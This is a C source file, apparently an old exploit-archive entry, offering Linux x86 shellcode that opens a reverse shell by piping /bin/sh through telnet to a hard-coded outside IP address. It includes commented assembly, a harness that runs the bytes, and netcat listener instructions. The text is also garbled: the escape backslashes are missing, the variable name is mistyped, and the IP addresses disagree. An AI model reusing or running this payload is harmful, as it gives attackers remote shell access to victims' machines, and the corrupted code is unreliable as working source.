/*
   Reverse Telnet Shellcode by hts
*/
/*
        jmp   0x31
        popl  %esi
        movl  %esi,0x4f(%esi)
        leal  0x8(%esi),%ebx
        movl  %ebx,0x53(%esi)
        leal  0xb(%esi),%ebx
        movl  %ebx,0x57(%esi)
        xorl  %eax,%eax
        movb  %eax,0x7(%esi)
        movb  %eax,0xa(%esi)
        movb  %eax,0x4e(%esi)
        movl  %eax,0x5b(%esi)
        movb  $0xb,%al
        movl  %esi,%ebx
        leal  0x4f(%esi),%ecx
        leal  0x5b(%esi),%edx
        int   $0x80
        xorl  %ebx,%ebx
        movl  %ebx,%eax
        inc   %eax
        int   $0x80
        call  -0x36
        .string "/bin/sh -c /bin/telnet 200.182.207.235 5|/bin/sh|/bin/telnet 200.182.207.235 6"
*/

char shellcode[] =
        "xebx31x5ex89x76x4fx8dx5ex08x89x5ex53"
        "x8dx5ex0bx89x5ex57x31xc0x88x46x07x88"
        "x46x0ax88x46x4ex89x46x5bxb0x0bx89xf3"
        "x8dx4ex4fx8dx56x5bxcdx80x31xdbx89xd8"
        "x40xcdx80xe8xcaxffxffxff/bin/sh -c /bin/"
        "telnet 200.182.207.246 5|/bin/sh|/bin/telnet 200"
        ".182.207.246 6";

#define NAME "Reverse Telnet Shellcode - by hts"

void main(){
  void (*s)() = (void *)hellcode;
  printf("Shellcode length: %dnExecuting..nn", strlen(hellcode));
  s();
}

/* I don't know if exists any reverse telnet shellcode..
 * you should modify your ip addr to use it...
 * to use it, nc -l -p 5 , on another terminal nc -l -p 6
 * then run the shellcode with your ip addr or just 127.000.000.001
*/

// milw0rm.com [2004-09-26]